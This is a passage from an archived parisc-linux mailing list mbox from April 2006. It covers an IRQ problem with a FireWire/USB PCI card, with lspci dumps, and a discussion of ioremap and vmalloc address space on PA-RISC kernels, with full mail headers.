> 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> 
> 01:0c.2 USB Controller: NEC Corporation: Unknown device 00e0 (rev 02) (prog-if 20)
> 	Subsystem: Unknown device 1735:00e1
> 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> 	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> 	Latency: 64 (4000ns min, 8500ns max), cache line size 08
> 	Interrupt: pin C routed to IRQ 11
> 	Region 0: Memory at ff9fec00 (32-bit, non-prefetchable) [size=256]
> 	Capabilities: [40] Power Management version 2
> 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> 
> 01:0f.0 FireWire (IEEE 1394): NEC Corporation: Unknown device 00f2 (rev 01) (prog-if 10 [OHCI])
> 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> 	Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> 	Latency: 64 (63750ns min, 63750ns max), cache line size 08
> 	Interrupt: pin A routed to IRQ 9
> 	Region 0: Memory at ff9ff000 (32-bit, non-prefetchable) [size=4K]
> 	Capabilities: [60] Power Management version 2
> 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-

> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Chris Frost  |  <http://www.frostnet.net/chris/>
-------------+----------------------------------
Public PGP Key:
   Email chris@frostnet.net with the subject "retrieve pgp key"
   or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Tue, 4 Apr 2006 08:05:33 +0200
Lines: 133
Approved: news@gmane.org
Message-ID: <200604040805.33828.deller@gmx.de>
References: <20060329093444.GA5593@pooh.bubble.frostnet.net>
	<20060330080202.GE5336@pooh.bubble.frostnet.net>
	<20060404033400.GQ25493@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624043 18818 80.91.229.3 (22 Nov 2014 02:40:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2006 06:05:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 04 Apr 2006 08:05:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A7BD7D7AA;
	Tue,  4 Apr 2006 00:05:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15815-03; Tue, 4 Apr 2006 00:05:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 61DB67D79F;
	Tue,  4 Apr 2006 00:05:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 653127D78A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Apr 2006 00:05:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15155-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Apr 2006 00:05:37 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 1A4F77D788
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Apr 2006 00:05:36 -0600 (MDT)
Original-Received: (qmail invoked by alias); 04 Apr 2006 06:05:35 -0000
Original-Received: from p54AD267C.dip0.t-ipconnect.de (EHLO p100.box) [84.173.38.124]
	by mail.gmx.net (mp038) with SMTP; 04 Apr 2006 08:05:35 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060404033400.GQ25493@pooh.bubble.frostnet.net>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1WFQEAVbbXBtrLqHPTQ2ODYqLyUmZUjo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23538

01:0f.0 FireWire (IEEE 1394): NEC Corporation: Unknown device 00f2 (rev 01) (prog-if 10 [OHCI])
says:	Interrupt: pin A routed to IRQ 9

Do you have CONFIG_EISA and/or CONFIG_ISA enabled ?
If yes, try without...

Helge

On Tuesday 04 April 2006 05:34, Chris Frost wrote:
> Just curious if anyone might have any thoughts or suggestions? I'd be
> quite interested; thanks!
> 
> 
> On Thu, Mar 30, 2006 at 12:02:02AM -0800, Chris Frost wrote:
> > On Wed, Mar 29, 2006 at 08:58:38AM -0500, Kyle McMartin wrote:
> > > lspci -vn for the card, please...
> > 
> > Attached (pci) is the output of lspci -vvv. The vendor and device codes
> > are immediately below. As the machine does not boot with the card in the
> > lspci output is from a pc.
> > 
> > 0:d.0: class 604, vendor id 3388, pci id 0021, rev 13
> > 1:c.0: class 0c03, vendor id 1033, pci id 0035, rev 41
> > 1:c.1: class 0c03, vendor id 1033, pci id 0035, rev 41
> > 1:c.2: class 0c03, vendor id 1033, pci id 00e0, rev 2
> > 1:f.0: class 0c00, vendor id 1003, pci id 00f2, rev 1
> > 
> > 
> > > Try commenting out 
> > > 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_USB) },
> > > 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415) },
> > > in superio.c and seeing if that helps at all.
> > 
> > This change appears to have no effect.
> > 
> > 
> > Max suggested checking the machine's firmware version. It was running 3.4.
> > I upgraded the machine to the latest, 5.0, but this has no visible effect.
> > 
> > 
> > Since 2.6.16-pa9 was released today I also upgraded to it, but with no
> > visible change.
> > 
> > thanks again,
> > -- 
> > Chris Frost  |  <http://www.frostnet.net/chris/>
> > -------------+----------------------------------
> > Public PGP Key:
> >    Email chris@frostnet.net with the subject "retrieve pgp key"
> >    or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>
> 
> > 00:0d.0 PCI bridge: Hint Corp: Unknown device 0021 (rev 13) (prog-if 00 [Normal decode])
> > 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> > 	Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> > 	Latency: 66, cache line size 08
> > 	Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
> > 	I/O behind bridge: 0000f000-00000fff
> > 	Memory behind bridge: ff900000-ff9fffff
> > 	Prefetchable memory behind bridge: 00000000ff800000-00000000ff800000
> > 	BridgeCtl: Parity+ SERR+ NoISA- VGA- MAbort- >Reset- FastB2B-
> > 	Capabilities: [80] Power Management version 2
> > 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> > 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> > 		Bridge: PM- B3+
> > 	Capabilities: [90] #06 [0000]
> > 	Capabilities: [a0] Vital Product Data
> > 
> > 01:0c.0 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
> > 	Subsystem: Unknown device 1735:0035
> > 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> > 	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> > 	Latency: 64 (250ns min, 10500ns max), cache line size 08
> > 	Interrupt: pin A routed to IRQ 7
> > 	Region 0: Memory at ff9fc000 (32-bit, non-prefetchable) [size=4K]
> > 	Capabilities: [40] Power Management version 2
> > 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> > 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> > 
> > 01:0c.1 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
> > 	Subsystem: Unknown device 1735:0035
> > 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> > 	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> > 	Latency: 64 (250ns min, 10500ns max), cache line size 08
> > 	Interrupt: pin B routed to IRQ 5
> > 	Region 0: Memory at ff9fd000 (32-bit, non-prefetchable) [size=4K]
> > 	Capabilities: [40] Power Management version 2
> > 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> > 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> > 
> > 01:0c.2 USB Controller: NEC Corporation: Unknown device 00e0 (rev 02) (prog-if 20)
> > 	Subsystem: Unknown device 1735:00e1
> > 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> > 	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> > 	Latency: 64 (4000ns min, 8500ns max), cache line size 08
> > 	Interrupt: pin C routed to IRQ 11
> > 	Region 0: Memory at ff9fec00 (32-bit, non-prefetchable) [size=256]
> > 	Capabilities: [40] Power Management version 2
> > 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> > 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> > 
> > 01:0f.0 FireWire (IEEE 1394): NEC Corporation: Unknown device 00f2 (rev 01) (prog-if 10 [OHCI])
> > 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> > 	Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> > 	Latency: 64 (63750ns min, 63750ns max), cache line size 08
> > 	Interrupt: pin A routed to IRQ 9
> > 	Region 0: Memory at ff9ff000 (32-bit, non-prefetchable) [size=4K]
> > 	Capabilities: [60] Power Management version 2
> > 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> > 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> -- 
> Chris Frost  |  <http://www.frostnet.net/chris/>
> -------------+----------------------------------
> Public PGP Key:
>    Email chris@frostnet.net with the subject "retrieve pgp key"
>    or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Tue, 04 Apr 2006 14:05:53 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <1144152354.3425.21.camel@mulgrave.il.steeleye.com>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	 <200604021129.31095.deller@gmx.de> <442FB31A.5040308@tiscali.be>
	 <200604021515.04424.deller@gmx.de> <20060403012831.GB12037@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624043 18821 80.91.229.3 (22 Nov 2014 02:40:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Helge Deller <deller@gmx.de>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2006 15:24:39 -0000
Original-Received: from stat9.steeleye.com (EHLO hancock.sc.steeleye.com) [209.192.50.41]
  by mx0.gmx.net (mx042) with SMTP; 04 Apr 2006 17:24:39 +0200
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k34FOX232330;
	Tue, 4 Apr 2006 11:24:33 -0400
In-Reply-To: <20060403012831.GB12037@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1uJQEL5GbXBtrLqHPTQ2ODYqLyUmZUh5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23539

On Sun, 2006-04-02 at 19:28 -0600, Grant Grundler wrote:
> Unfortunately not. Not unless you want to disable IO Port space access.
> Each PCI bus controller routes 64MB of GMMIO space to 64KB of IO port space.
> The first 4 bytes of each page maps to a unique 4 byte in IO Port space.
> 
> On Astro platforms, we can use 64KB in LMMIO space to access
> IO Port space for all busses. The difference is Astro only
> has one SBA and IOC. N-class has two. There's more to this
> and I'm not sure of all the details at the moment.
> 
> 240MB is clearly not going to be enough on that machine.
> Even on a "normal" machine, a couple of graphics cards
> would exhaust the 240MB.  A single infiniband card could
> exhaust the 240MB space we have now.

OK, could someone explain what we're trying to do and why?

The original PA implementation of ioremap actually had I/O space and
memory space separated (this is almost essential on 32 bit machines with
lots of memory).

The new implementation is trying to map our I/O space directly into
memory.  Because of the way PA is implemented: no highmem, entire memory
offset mapped at 0x1000000; that means the only space we have for kernel
VM is 0-0x10000000 (On 32 bits, this offset mapping loses us the top
256k on 4GB machines, but that's f space anyway).  However, our vmalloc
space is very squeezed at 240k (remember, all modules have to be in
vmalloc space), so trying to share it with I/O mappings looks to be a
bit of a non-starter.

I suggest that on 32 bits, we really shouldn't alter the current scheme
(i.e. keep the separated I/O and  memory mappings).  On 64 bits, we
could allocate a far different VM range to vmalloc (somewhere up beyond
the maximum possible physical memory) and thus make it far bigger, which
would allow us to keep a mapped ioremap implementation.

Oh, and just before anyone suggests it, we'd have incredible difficulty
moving __PAGE_OFFSET because of the absolute<->virtual equivalence
requirements.

James





From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.17-rc1-pa0 attempt to build for 64bit ;-)
Date: Tue, 4 Apr 2006 06:44:21 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20060404124421.GH8315@parisc-linux.org>
References: <IX76T0$9C06EC779069A908914854C520DF80D1@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624044 18824 80.91.229.3 (22 Nov 2014 02:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:44 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2006 12:44:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 04 Apr 2006 14:44:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E5457D7D2;
	Tue,  4 Apr 2006 06:44:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20387-06; Tue, 4 Apr 2006 06:44:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 959AE7D7D3;
	Tue,  4 Apr 2006 06:44:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83CF87D7D1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Apr 2006 06:44:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20445-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Apr 2006 06:44:21 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D166F7D7D0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Apr 2006 06:44:21 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 8496C494043; Tue,  4 Apr 2006 06:44:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <IX76T0$9C06EC779069A908914854C520DF80D1@scarlet.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SA5aCf1obHIyva3NNjQ0MikqJihyapD8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23540

On Tue, Apr 04, 2006 at 01:31:48PM +0100, Joel Soete wrote:
> Matthew,
> 
> Very sorry but as I haven't any more access to cvs (i can just grab snapshot
> ;-( ), so I missed your patch.

But you asked about it yesterday, and I told you the patch was already
committed.  Helge comimtted a -pa1 bump, so the -pa1 snapshot won't have
this problem.

In general, the -pa0 snapshot has *not* been built for any config, is
generally untested, and isn't worth wasting any time on.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Wed, 5 Apr 2006 08:50:05 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <200604050850.06058.deller@gmx.de>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	<20060403012831.GB12037@colo.lackof.org>
	<1144152354.3425.21.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624044 18827 80.91.229.3 (22 Nov 2014 02:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2006 06:50:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 05 Apr 2006 08:50:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A60D07D7BF;
	Wed,  5 Apr 2006 00:50:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31351-01; Wed, 5 Apr 2006 00:50:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC29B7D778;
	Wed,  5 Apr 2006 00:50:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA9C87D768
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 00:50:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30942-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Apr 2006 00:50:14 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B49C87D75A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 00:50:13 -0600 (MDT)
Original-Received: (qmail invoked by alias); 05 Apr 2006 06:50:10 -0000
Original-Received: from p54AD1E7A.dip0.t-ipconnect.de (EHLO p100.box) [84.173.30.122]
	by mail.gmx.net (mp020) with SMTP; 05 Apr 2006 08:50:10 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <1144152354.3425.21.camel@mulgrave.il.steeleye.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0gVREEtjbXBtrLqHPTQ2ODYqLyUmZcjI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23541

On Tuesday 04 April 2006 14:05, James Bottomley wrote:
> On Sun, 2006-04-02 at 19:28 -0600, Grant Grundler wrote:
> > Unfortunately not. Not unless you want to disable IO Port space access.
> > Each PCI bus controller routes 64MB of GMMIO space to 64KB of IO port space.
> > The first 4 bytes of each page maps to a unique 4 byte in IO Port space.
> > 
> > On Astro platforms, we can use 64KB in LMMIO space to access
> > IO Port space for all busses. The difference is Astro only
> > has one SBA and IOC. N-class has two. There's more to this
> > and I'm not sure of all the details at the moment.
> > 
> > 240MB is clearly not going to be enough on that machine.
